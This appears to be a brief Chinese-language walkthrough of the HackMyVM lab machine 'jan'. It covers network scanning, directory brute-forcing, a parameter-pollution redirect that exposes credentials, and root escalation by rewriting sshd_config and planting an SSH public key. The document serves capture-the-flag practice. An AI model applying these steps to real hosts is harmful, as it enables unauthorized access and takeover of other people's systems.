hackmyvm-jan

arp-scan -l

nmap -A 192.168.222.124

curl 192.168.222.124:8080

dirsearch -u 192.168.222.124:8080 -e *

查看这两个页面的内容

访问http://192.168.222.124:8080/redirect?url=1&url=/credz

连接ssh

sudo -l

所以目标就是更改ssh的配置文件，让ssh服务重启 sshd_config（修改的是客户端的内容）

看看有没有权限

ls -la /etc/ssh/sshd_config

使用公钥登录ssh

ssh-keygen -t RSA

nano /etc/ssh/ssh_config客户端

nano /etc/ssh/sshd_config

sudo /sbin/service sshd restart

将本机公钥复制到靶机/home/ssh/.ssh/authorized_keys

使用root连接ssh